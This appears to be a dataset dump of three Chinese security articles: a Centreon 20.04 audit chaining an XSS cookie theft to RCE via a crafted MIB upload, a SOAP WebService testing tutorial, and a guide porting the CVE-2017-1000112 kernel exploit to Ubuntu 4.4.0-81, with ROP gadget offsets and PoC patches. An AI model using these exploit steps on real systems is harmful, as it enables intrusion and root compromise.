text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：huha@知道创宇404实验室
时间：2020年8月26日**
## 前言
代码审计的思路往往是多种多样的，可以通过历史漏洞获取思路、黑盒审计快速确定可疑点，本文则侧重于白盒审计思路，对Centreon
V20.04[[1](https://github.com/centreon/centreon/releases/tag/20.04.0)]的审计过程进行一次复盘记录，文中提及的漏洞均已提交官方并修复。
## 概述
Centreon（Merethis Centreon）是法国Centreon公司的一套开源的系统监控工具
。该产品主要提供对网络、系统和应用程序等资源的监控功能。
## 网站基本结构
源代码目录组成
`centreon/www/`网站根目录
`centreon/www/include/`核心目录结构
概述一下
* `centreon/www/index.php`是网站的入口文件，会先进行登录认证，未登录的话跳转进入登录页，登录成功后进入后台
* `centreon/www/main.php`与`centreon/www/main.get.php`，对应PC端与移动端的路由功能，根据不同的参数，可以加载到后台不同的功能页面，在实际调试的过程，发现使用main.php加载对应的功能页时，最终会调用main.get.php，所以路由部分直接看main.get.php即可
* `entreon/www/include/`目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问，有些则需要通过main.get.php页面进行路由访问
* `centreon/www/api/`目录下的index.php是另一处路由功能，可以实例化`centreon/www/api/class/*.class.php`、`centreon/www/modules/`、`centreon/www/widgets/*/webServices/rest/*.class.php`、`centreon/src/`中的类并调用指定方法
在审计代码的时候，有两个要关注点：
* 重点审查`centreon/www/include/`和`centreon/www/api/class`/两个目录，因为这些目录下的功能点可以通过`centreon/www/main.php`或`centreon/www/api/index.php`路由访问
* 重点寻找绕过登录认证或者越权的方式，否则后台漏洞难以利用
## 代码分析
如下简要分析`centreon/www/`目录下的部分脚本
### index.php
index.php会进行登录认证，检查是否定义$_SESSION["centreon"]变量，这个值在管理员登录后设置。程序登录有两种方式，使用账密或者token，相关逻辑在`/centreon/www/include/core/login/processLogin.php`中。不止index.php，`centreon/www/include/`下大部分功能页都会检查session，没有登录就无法访问
### main.get.php
这是主要的路由功能，程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理，编码特殊字符，有效地防御了一些XSS，比如可控变量在引号中的情况，无法进行标签闭合，无法逃逸单引号
对_POST中的指定参数，进行过滤处理，对数据类型进行限制，对特殊字符进行编码
最终_POST数组赋值到$inputs数组中
全局过滤数据后，程序引入公共类文件和功能代码
99行session取出，认证是否登录
通过登录认证后，程序会查询数据库，获取page与url的映射关系，程序通过p参数找到对应的url，进行路由，映射关系如下
接着248行`include_once $url`，引入`centreon/www/include/`下对应的脚本
这里将page与url映射关系存储到本地，方便后续查询
### api/index.php
这是另外一个路由功能
同样需要验证登录，104行$_SERVER['HTTP_CENTREON_AUTH_TOKEN']可以在请求头中伪造，但是并不能绕过登录，可以跟进查看CentreonWebService::router方法
在`\api\class\webService.class.php`，其中action参数可控
311行判断isService是否为true，如果是，dependencyInjector['centreon.webservice']->get(object)
313行centreon.webservice属性值如下，对应的是centreon/src目录下的类
$webServicePaths变量包含以下类路径
接着346行检查类中是否存在对应方法，在374行处调用，但是在350~369进行了第二次登录认证，所以之前$_SERVER['HTTP_CENTREON_AUTH_TOKEN']伪造并没能绕过登录
### 过滤处理
除了main.get.php开头的全局过滤操作，程序的其他过滤都是相对较分散的，对于SQL注入的话，程序的很多查询都使用了PDO进行参数化查询，对于PDO中一些直接拼接的参数，则单独调用某些函数进行过滤处理。比如下边这里进行数据库更新操作时，updateOption()会进行query操作，$ret["nagios_path_img"]可控，但是这里调用escape()函数进行转义
### 路径限制
不通过路由功能，直接访问对应路径的功能代码，大部分是不被允许的，比如直接访问generateFiles.php页面
可以看到39行检查oreon参数，这就是为什么要通过main.get.php去访问某些功能点。当然有一些漏网之鱼，比如rename.php页面，这里只是检查session是否存在，在登录状态下，可以通过路径直接访问该页面。
## One-click To RCE
### XSS
在上一节的最后，为什么要纠结通过路径访问还是路由访问呢？因为通过main.get.php中的路由访问的话，会经过全局过滤处理，直接通过路径访问则没有，这样就有了产生漏洞的可能，通过这个思路可以找到一个XSS漏洞，在rename.php中程序将攻击者可控的内容直接打印输出，并且没有进行编码处理，缺乏Httponly与CSP等的攻击缓存机制，当管理员点击精心构造的链接时，将触发XSS执行任意js代码，导致cookie泄露。
#### 漏洞分析
漏洞入口
centreon/include/home/customViews/rename.php
前边也提到，46行验证session是否存在，所以受害者只要处于登录状态即可，59行echo直接打印_REQUEST)返回的值，rename函数中对params['newName']，因为直接通过路径访问，没有经过任何过滤处理
所以elementId控制为title_1(任意数字),设置newName为script标签即可
### 授权RCE
程序在使用perl脚本处理mib文件时，没有对反引号的内容进行正确的过滤处理，攻击者利用XSS窃取的凭证登录后，可上传恶意文件导致远程代码执行，即One_click
to RCE
#### 漏洞分析
可以顺着CVE-2020-12688[[2](https://github.com/TheCyberGeek/Centreon-20.04)]的思路，全局搜索"shell_exec("关键字符串，
formMibs.php调用了该函数
查看源码，38行执行了shell_exec(command从form)，打印$form方便调试
之前记录的page与url的映射关系现在就可以派上用场了，设置page为61703，通过main.php或main.get.php可以路由到formMibs.php，也就是下边的文件上传功能
调试发现formMibs.php中31行的manufacturerId可以通过上传数据包中mnftr字段修改，但是被filter_var()处理，只能为整数
虽然缓存文件名是不可控的，但是上传的mib文件内容可控，shell_exec()中执行的命令实际为（"xxx.mib"代表缓存文件名）
/usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1
centFillTrapDB是一个perl脚本，代码在/bin/centFillTrapDB中，用use引入centFillTrapDB模块
use命令寻找的路径默认在@INC下，但不知道具体在哪里，可以全局搜索一下
最后在usr/share/perl5/vendor_perl/centreon下找到script目录，有我们想要的文件
把centFillTrapDB模块拉出来静态看一下，发现存在命令执行且内容可控的位置，实际调试发现最终分支是进入541行，540行和543行是我添加的调试代码
在perl中反引号内可以执行系统命令，534行trap_lookup可控，对于mib文件来说，{IFS}代替
为了方便构造mib文件，打印出反引号中的命令，并在服务器shell中进行测试
构造/tmp/1.mib文件
命令行执行
centFillTrapDB -f '/tmp/1.mib' -m 3 --severity=info 2>&1
可以清晰的看到command，并且执行了curl命令
修改mib文件中的命令，在浏览器上传进行测试，成功执行whoami并回显
## 审计总结
文本主要分享了一些白盒审计思路，但就像之前所说的，审计的思路往往是多种多样的，以下是个人的小小总结：
* 分析历史漏洞，在复现和调试的过程中，可以比较快的了解这个框架的结构，也可以从历史漏洞中获取思路，举一反三
* 黑盒审计，开启抓包工具，测试可疑的功能点并观察数据包，这样可以加快对网站路由的熟悉，也可以快速的验证一些思路，排除一些可能性，仍然存疑的功能点可以在白盒审计时进一步确认；
* 白盒审计，入口脚本，路由方式，核心配置，常用功能模块和数据验证过滤操作，这些都是要留意的，当然最主要还是看入口，路由和数据过滤验证的部分；其他的如核心配置，常用功能模块，可以按需查看，大概了解了网站架构就可以开始看对应的功能代码了，看的时候可以分两个角度：一个就是从刚才黑盒测试遗留的可疑点入手，断点功能代码，审查是否存在漏洞；另一个就是从敏感关键字入手，全局搜索，溯源追踪。
* 注重不同漏洞的组合攻击，无论是这次的Centreon One_click to RCE漏洞，还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE，打的都是一套组合拳，在漏洞挖掘的过程可以多加关注
## 参考链接
[1] Centreon V20.04
<https://github.com/centreon/centreon/releases/tag/20.04.0>
[2] CVE-2020-12688漏洞公开细节
<https://github.com/TheCyberGeek/Centreon-20.04>
* * * | 社区文章 |
# 浅析接口安全之WebService
## 0x0 前言
关于这类型漏洞很少有人发表相关学习资料，最近笔者遇到了这种漏洞，并根据了网上寥寥无几的文章思路安装了工具来测试，结果却发现工具没办法成功攻击，但是漏洞真实存在，所以笔者就以此为基础展开了关于WebServices的学习，去了解相关的构造原理，改进工具化测试的不足。
## 0x1 WebService的架构
笔者查阅了挺多的相关资料，提到了非常多很陌生的技术，这里我对其进行了自我总结，如有不对，欢迎师傅们指出改正。
**什么是WebService?**
> Web
> Service是一个[平台](https://baike.baidu.com/item/平台/1064049)独立的，低耦合的，自包含的、基于可[编程](https://baike.baidu.com/item/编程)的web的应用程序，可使用开放的[XML](https://baike.baidu.com/item/XML)（[标准通用标记语言](https://baike.baidu.com/item/标准通用标记语言/6805073)下的一个子集）[标准](https://baike.baidu.com/item/标准/219665)来[描述](https://baike.baidu.com/item/描述/8928757)、发布、发现、协调和配置这些应用程序，用于开发分布式的交互操作的[应用程序](https://baike.baidu.com/item/应用程序/5985445)。
总结:
> Web服务(WebService)是一种跨语言和跨平台的远程调用(RPC)技术
>
>
> 所谓跨编程语言和跨操作平台，就是说服务端程序采用java编写，客户端程序则可以采用其他编程语言编写，反之亦然！跨操作系统平台则是指服务端程序和客户端程序可以在不同的操作系统上运行。
> 所谓远程调用，就是一台计算机a上 的一个程序可以调用到另外一台计算机b上的一个对象的方法。
ps.WebService思想有点跟微服务很像，是一种比较"重"和“老”的Web接口技术，目前大部分应用于金融机构的历史应用和比较老的应中，在内网里面遇到的机会还是挺多的。
**WebService的工作流程**
>
> 服务端应用程序首先向外界暴露出一个能通过Web进行调用的API,为了实现跨平台和跨语言，那么与这个API交互的时候，就需要有一套标准的类型系统来描述WebService这个接口，让用户通过这个标准来解析怎么调用这个接口，然后用户将解析结果封装上自己的数据发送到客户端，服务端统一采用这一套标准进行解析和返回。
**WebService的技术实现与支持**
1.SOAP(Simple Object Access Protocol, 简单对象访问协议)
> SOAP协议 由特定的HTTP信息头和XML内容格式组成
>
> SOAP = http协议 + XML数据格式
2.WSDL(Web Services Description Language, 网络服务描述语言)
> 给出了SOAP型Web
> Service的基本定义,WSDL基于XML语言，描述了与服务交互的基本元素，比如函数、数据类型、功能等，少数情况下，WSDL也可以用来描述REST型Web
> Service。
>
> WSDL文件保存在Web服务器上，通过一个url地址就可以访问到他。客户端要调用WebService服务之前，要知道该服务的WSDL文件的地址。
3.REST(Representational State Transfer, 表征性状态转移)
> REST型Web
> Service允许我们使用JSON格式（也可以使用XML格式）与服务器进行通信。与HTTP类似，该类型服务支持GET、POST、PUT、DELETE方法。
4.WADL(Web Application Description Language, 网络应用描述语言)
> WSDL的REST版，一般用于REST型Web Service，描述与Web Service进行交互的基本元素。
PS.笔者目前接触的比较多就是第1.2种,所以就以经典SOAP协议的WebService作为学习目标了。
**应用场景**
webservice
经常使用在异构系统中，比如一个JAVA开发的OA系统与一个C#开发的CRM系统进行系统交互的时候就可以利用WebService来统一交互标准，当然也可以在同构系统中整合该服务，统一系统交互的标准。这就好比我们经常使用API接口使用JSON封装数据，但是JSON有点缺陷，emmm不算缺陷，是因为其自身的跨域性特点有可能会导致jsonp攻击。
## 0x2 编写WebService服务
这里笔者介绍两种最常见WebService开发环境。
### 0x2.1 JAVA下的CXF框架编写
**简单介绍下CXF框架:**
> CXF(Celtix + XFire)
>
> 一个apache用于开发WebService服务端和客户端的框架。
1.安装CXF的依赖包
proxychains4 wget https://mirror-hk.koddos.net/apache/cxf/3.3.6/apache-cxf-3.3.6.tar.gz
2.创建一个项目,导入CXF lib下的依赖包
(1)ICalculator 接口类
package com.xq17.cxf;
import javax.jws.WebService;
@WebService
public interface ICalculator {
int add(int a, int b);
String concat(String a, String b);
}
(2)CalculatorImpl 接口实现类
package com.xq17.cxf;
import javax.jws.WebService;
@WebService(endpointInterface="com.xq17.cxf.ICalculator", serviceName="Calcutator")
public class CalculatorImpl implements ICalculator{
@Override
public int add(int a, int b) {
return a + b;
}
@Override
public String concat(String a, String b) {
return a + b;
}
}
(3) WebService服务端类
package com.xq17.cxf;
import javax.xml.ws.Endpoint;
public class WebService {
public static void main(String[] args) {
// TODO Auto-generated method stub
System.out.println("Web Service Start!");
CalculatorImpl implementor = new CalculatorImpl();
String address = "http://127.0.0.1:8081/calculator";
Endpoint.publish(address, implementor);
// 这里就能加载已经定义为WebService接口的CalculatorImpl对象和发布网址
System.out.println("web service started");
}
}
(4) Run
(4) 访问URL
可以看到成功输出了相应的信息。
### 0x2.2 ASP.NET下编写简单的WebService
1.在空白窗体新建一个web服务`WebService.asmx`
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;
/// <summary>
/// WebService 的摘要说明
/// </summary>
[WebService(Namespace = "http://localhost/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
// 若要允许使用 ASP.NET AJAX 从脚本中调用此 Web 服务，请取消注释以下行。
[System.Web.Script.Services.ScriptService]
public class WebService : System.Web.Services.WebService
{
public WebService()
{
//如果使用设计的组件，请取消注释以下行
//InitializeComponent();
}
[WebMethod]
public string HelloWorld()
{
return "Hello World";
}
[WebMethod]
public int Power(int num)
{
return num * num;
}
}
这里我们写了一个Power函数
2.然后发布到IIS,访问URL
当我们点击服务说明的时候跳转到:<http://localhost:8089/WebService.asmx?WSDL>
返回的就是WSDL,说明这个接口怎么使用。
访问`http://localhost:8089/WebService.asmx?op=Power`可以在浏览器直接调用,这里给出发出的协议，及其返回结果的例子,方便我们写对应的程序来进行调用该服务。
**1.SOP1.1**
POST /WebService.asmx HTTP/1.1
Host: localhost
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://localhost/Power"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Power xmlns="http://localhost/">
<num>int</num>
</Power>
</soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<PowerResponse xmlns="http://localhost/">
<PowerResult>int</PowerResult>
</PowerResponse>
</soap:Body>
</soap:Envelope>
**SOP1.2**
POST /WebService.asmx HTTP/1.1
Host: localhost
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<Power xmlns="http://localhost/">
<num>int</num>
</Power>
</soap12:Body>
</soap12:Envelope>
HTTP/1.1 200 OK
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<PowerResponse xmlns="http://localhost/">
<PowerResult>int</PowerResult>
</PowerResponse>
</soap12:Body>
**1.3 HTTP**
这个仅是支持本机来测试,对外部是不开放的。
POST /WebService.asmx/Power HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: length
num=string
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
<?xml version="1.0" encoding="utf-8"?>
<int xmlns="http://localhost/">int</int>
这里我们演示下`soap1.2`协议的发送过程。
我们可以直接复制`SOAP12`的包发送数据来进行请求。
可以看到这里返回了webservice
<PowerResult>9</PowerResult>
这个接口的结果。
**PS:**
CXF框架整合Spring发布的时候默认会有个`services`路径,里面存放了接口的文档说明,这个时候我们就可以获取所有的EndPoint了,笔者当时遇到的就是这个情况。
基于C#的ASP.NET编写的接口信息页就是当前接口的位置,所以我们只要找asm文件来测试就好。
## 0x3 服务接口手工测试思路
下面我们就来讲一下WSDL到底提供了什么样的解析标准，如何去进行手工构造。
我们首先需要学习下WSDL的描述结构，并尝试自己去解析，编写合法的数据包。
首先WSDL的组成标签:
> definitions 根元素,其主要作用是提供了targetNamespace的命名空间
>
> types 主要是用来描述传入的参数类型，和输出的结果类型，被信息定义使用
>
> imports 用于在当前的WSDL文档中使用其他WSDL文档中指定的命名空间的定义元素,一般用在模块化多文件WSDL文档中使用。
>
> message 抽象定义了两个信息(需要传递的数据),可以理解为相当于types的接口。
>
> portType 定于了web服务的抽象接口，没有定义实现
>
> operation 服务支持操作的抽象描述，同时包含input和output则表明该操作是一个请求、响应模式。
>
> binding 将一个portType映射到一组具体的协议，描述特定端口类型的具体协议和数据规范。
>
> service 相关端点的集合，包括其关联的接口、操作、信息等。
由此我们可以将WSDL文档划分为两部分:
> 1.抽象定义
>
> 2.具体定义
下面我们就以这个例子来解读下怎么解析:
1.
首先这里`service`标签描述了服务名称`WebService`,`port
name`描述了可以支持soap协议,然后提供了访问地址(EndPoint)。这里可以看到每种协议都有自己的绑定。
2.
定位相关的绑定，我们可以看到这里绑定的类型引用了Type值得类型，然后使用`operatation`标签将`porrtType`中定义的operation同SOAP请求绑定，定义了操作名称`soapAction`
3.
这里`input`、`output`引用了`<messgae>`标签
4.
这里`PART`标签,引用messafg下的参数类型
然后我们再来看一个SOAP1.2协议的格式:
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope
xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"
>
<soap12:Header>
</soap12:Header>
<soap12:Body>
<soap12:Fault>
</soap12:Fault>
</soap12:Body>
</soap12:Envelope>
1.1的话直接去掉12即可。
> Envelope: 标识XML文档，具有名称空间和编码详细信息。
> Header：包含标题信息，如内容类型和字符集等。
> Body：包含请求和响应信息。
> Fault：错误和状态信息。
而平时我们构造的SOAP请求数据包,不包含Fault部分(返回的SOAP出错就会有),解析的重点是在Body部分
POST /calculator HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: csrftoken=P2JwVlLK3L8PaHlSMJ927Sj7JgrIwBi4S82j9I25ZIJx3Vytf3c72Qi9Ehc75VXs; Hm_lvt_b393d153aeb26b46e9431fabaf0f6190=1576593337,1576724740,1577006110,1578371563
Upgrade-Insecure-Requests: 1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: 127.0.0.1:8081
Content-Length: 352
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cxf="http://cxf.xq17.com/">
<soapenv:Header/>
<soapenv:Body>
<cxf:concat>
<!--type: string-->
<arg0>gero et</arg0>
<!--type: string-->
<arg1>sonoras imperio</arg1>
</cxf:concat>
</soapenv:Body>
</soapenv:Envelope>
所以我们构造的时候只需要关注输入参数部分`complexType`即可,将一些值写入到SOAP的body即可。
我们确定下方法的命名空间然后根据参数类型就可以写出上面的SOAP数据包了。
## 0x4 工具实现半自动化测试
手工测试的时候其实很容易出错，因为SOAP1.1与SOAP1.2协议形成的HTTP协议并不相同，所以我更推荐大概理解其原理，然后让工具生成，然后我们在手工调整，来测试和发现，比如未授权漏洞，当我们没有传入值时，或者省略参数时，只调用方法时，默认会返回所有结果之类的
我平时使用的话应该是Burp比较多,然后导入`wsdler`这个插件。
这里简要说说自己的测试流程:
1.首先我们访问接口URL+`?wsdl`
2.获取解析的SOAP结果，存在两个方法
3.发到重放，注释部分说明参数部门，然后进行正常的接口测试，SQL注入、未授权等。
**PS:**
简单说一下一些小技巧,有些服务器可能访问不到WSDL文件，这个时候我们可以根据接口名字`GetEnterpriseTransactionResult`然后推测出方法名:`getEnterpriseTransaction`
然后根据返回的报错信息确定命名空间。
还有全自动化测试可以采用AWVS,这个我没测试过效果，我个人感觉应该很棒,或者crawgo+awvs,到时候笔者将挖洞框架建立后，会进行尝试添加这类型漏洞的检测，欢迎师傅们找我一起探讨挖洞技巧，主要是SRC吧。
## 0x5 总结
基于SOAP协议的接口攻击技术，其实历史比较悠久的了，并且该技术运用到各种语言开发的程序中，在2017年的OWASP TOP
10也出现了它的身影,[Penetration Testing with SOAP Service and
Mitigation](https://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/),可以看到一旦掌握了接口，那么攻击面的测试就可以变得很宽广，后面我遇到更多实例的话，我再进行一些骚操作的总结。
## 0x6 参考链接
[Web Service 渗透测试从入门到精通](https://www.anquanke.com/post/id/85910)
[WebService到底是什么？](https://www.jianshu.com/p/49d7997ad3b7)
[WebService学习总结](https://www.cnblogs.com/pony1223/p/7847323.html)
[搭建调用 WebService 的 ASP.NET 网站 （VS2010,
C#)](https://www.cnblogs.com/xunzhiyou/p/4934500.html)
[使用apache CXF和maven开发Web
Service](https://www.cnblogs.com/holbrook/archive/2012/12/12/2814821.html)
[CXF发布webService（一）](https://lanjingling.github.io/2015/10/16/cxf-webservice-1/)
[WSDL结构简单分析](https://wenku.baidu.com/view/1579bfedb8f67c1cfad6b89d.html)
[从几道CTF题看SOAP安全问题](https://blog.csdn.net/qq_27446553/article/details/81362341?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-4&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-4)
[快速入门](https://juejin.im/post/5aadae4bf265da238a303917) | 社区文章 |
# 如何将漏洞CVE-2017-1000112应用到其他内核上
|
##### 译文声明
本文是翻译文章，文章原作者 Rick，文章来源：blogspot.jp
原文地址：<https://ricklarabee.blogspot.jp/2017/12/adapting-poc-for-cve-2017-1000112-to.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在这篇文章中，我们将跟大家介绍如何将Andrey针对CVE-2017-1000112的PoC应用到其他内核上。为了给大家演示，本文将使用Ubuntu的Xenial（16.04）内核版本4.4.0-81-generic来进行测试。
PoC代码下载：【[点我下载](https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c)】
## 漏洞时间轴
2017年08月03日：将漏洞报告给厂商；
2017年08月04日：将漏洞报告给linux-distros@；
2017年08月10日：漏洞补丁提交给netdev；
2017年08月10日：oss-security@发布官方声明；
## 描述
这个PoC利用的是Linux内核UFO到非UFO路径转换时的内存崩溃问题，在构建一个UFO数据包时，内核会使用MSG_MORE
__ip_append_data()函数来调用ip_ufo_append_data()并完成路径的添加。但是在这两个send()调用的过程中，添加的路径可以从UFO路径转换为非UFO路径，而这将导致内存崩溃的发生。为了防止UFO数据包长度超过MTU，非UFO路径的copy
= maxfraglen – skb->len将会变成false，并分配新的skb。这将会出发程序计算fraggap = skb_prev->len –
maxfraglen的值，并将copy = datalen – transhdrlen –
fraggap设置为false。需要注意的是，类似的问题IPv6的代码中同样存在。
## 漏洞修复
关于漏洞的修复情况，请参考【[这篇文章](https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa)】。
## 漏洞情况概述
UFO（UDP Fragmentation Offload）是将较大的UDP数据包进行分片。由于UDP 数据包不会自己进行分段，因此当长度超过了 MTU
时，会在网络层进行 IP 分片。 这将减少较大的UDP数据包分片到MTU大小的数据包中的堆栈开销。
Linux 内核存在内存崩溃漏洞，从UFO到非UFO在路径切换过程中，构建UFO数据包时使用了MSG_MORE
__ip_append_data（）调用ip_ufo_append_data（）。在两个send（）调用之间，路径从UFO切换到非UFO过程中，会导致内存崩溃。Linux
内核 UFO到非UFO 路径切换内存崩溃漏洞会造成普通用户提权到root用户。
给Ubuntu 16.04（内核Kernel 4.4.0-81-generic）添加偏移量
PoC的框架允许我们给commit_creds、prepare_kernel_cred以及不同内涵的ROP链添加地址偏移量。在对kernel_info的结构进行了分析之后，我们还可以使用目标内核地址来更新这部分数据。
## 寻找内核函数
接下来，我们需要确定commit_creds、prepare_kernel_cred以及针对CR4读写函数的地址偏移量。
## 基于Ubuntu 16.04.2创建目标虚拟机
在本文的演示过程中，我将使用VMWare。
镜像下载地址：【[点我下载](http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img)】
在开始测试之前，我们需要更新vmx配置文件来开启内核的调试stub：
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
## 安装4.4.0-81-generic内核
sudo apt install linux-image-4.4.0-81-generic
内核安装完成之后，需要重启设备，然后寻找下列内核函数的地址：commit_creds、prepare_kernel_cred、native_read_cr4_safe和native_write_cr4。操作命令如下：
sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms
## 寻找ROPgadget
在这个演示部分中，我将使用不同的虚拟机来调试上面所提到的目标设备。当新的虚拟机创建完成之后，我们可以使用extract-vmlinux【下载地址】来提取出未压缩的Linux内核版本，或者使用调试符来号下载内核。
你可以通过下列命令来使用调试符号获取内核：
echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" |
sudo tee -a /etc/apt/sources.list.d/ddebs.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622
apt install linux-image-4.4.0-81-generic-dbgsym
内核将会被安装在目录/usr/lib/debug/boot/vmlinux-4.4.0-81-generic之中。
## 在目标内核中安装并运行ROPgadget
我准备使用ropgadget【[下载地址](https://github.com/JonathanSalwan/ROPgadget)】来寻找出目标内核中的Gadget。操作命令如下所示：
apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic
既然我们已经获取到了可能的gadget，我们则需要寻找出能够匹配PoC中ROP链的地址：
struct kernel_info {
const char _distro;
const char_ version;
uint64_t commit_creds;
sudo grep commit_creds /proc/kallsyms
0xffffffff810a2800 T commit_creds
uint64_t prepare_kernel_cred;
sudo grep prepare_kernel_cred /proc/kallsyms
0xffffffff810a2bf0 T prepare_kernel_cred
uint64_t xchg_eax_esp_ret;
grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
0xffffffff8100008a : xchg eax, esp ; ret
uint64_t pop_rdi_ret;
grep ': pop rdi ; ret' rg-4.4.0-81-generic
0xffffffff813eb4ad : pop rdi ; ret
uint64_t mov_dword_ptr_rdi_eax_ret;
grep ': mov dword ptr [rdi], eax ; ret' rg-4.4.0-81-generic
0xffffffff81112697 : mov dword ptr [rdi], eax ; ret
uint64_t mov_rax_cr4_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff8101b9c0 t native_read_cr4_safe
uint64_t neg_rax_ret;
grep ': neg rax ; ret' rg-4.4.0-81-generic
0xffffffff8140341a : neg rax ; ret
uint64_t pop_rcx_ret;
grep ': pop rcx ; ret' rg-4.4.0-81-generic
0xffffffff8101de6c : pop rcx ; ret
uint64_t or_rax_rcx_ret;
grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
0xffffffff8107a453 : or rax, rcx ; ret
uint64_t xchg_eax_edi_ret;
grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
0xffffffff81125787 : xchg eax, edi ; ret
uint64_t mov_cr4_rdi_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff81064580 t native_write_cr4
uint64_t jmp_rcx;
grep ': jmp rcx' rg-4.4.0-81-generic
0xffffffff81049ed0`
## KASLR
内核4.4.0-81并没有启用KASLR，但为了对现有文件进行确认，我们需要使用偏移量。
我们可以使用下列命令找出内核的基地址：
sudo grep text /proc/kallsyms
ffffffff81000000 T _text
比如说，下面的方法可以确认commit_creds的偏移量：
0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800
请注意：如果你使用的内核不支持KASLR，请使用下列命令【[参考文章](https://unix.stackexchange.com/questions/397939/turning-off-kaslr-to-debug-linux-kernel-using-qemu-and-gdb)】：
$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub
## 更新原始的PoC文件
我们需要使用新得到的地址来更新PoC，然后添加对Ubuntu 16.04的4.4.0内核（xenial）的支持。
{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
(strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
(strncmp("4.8.0", kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
## 修复补丁
4.4.0-81.patch
`—- poc.c 2017-12-21 11:49:17.758164986 -0600
+++ updated.c 2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
{ “trusty”, “4.4.0-79-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
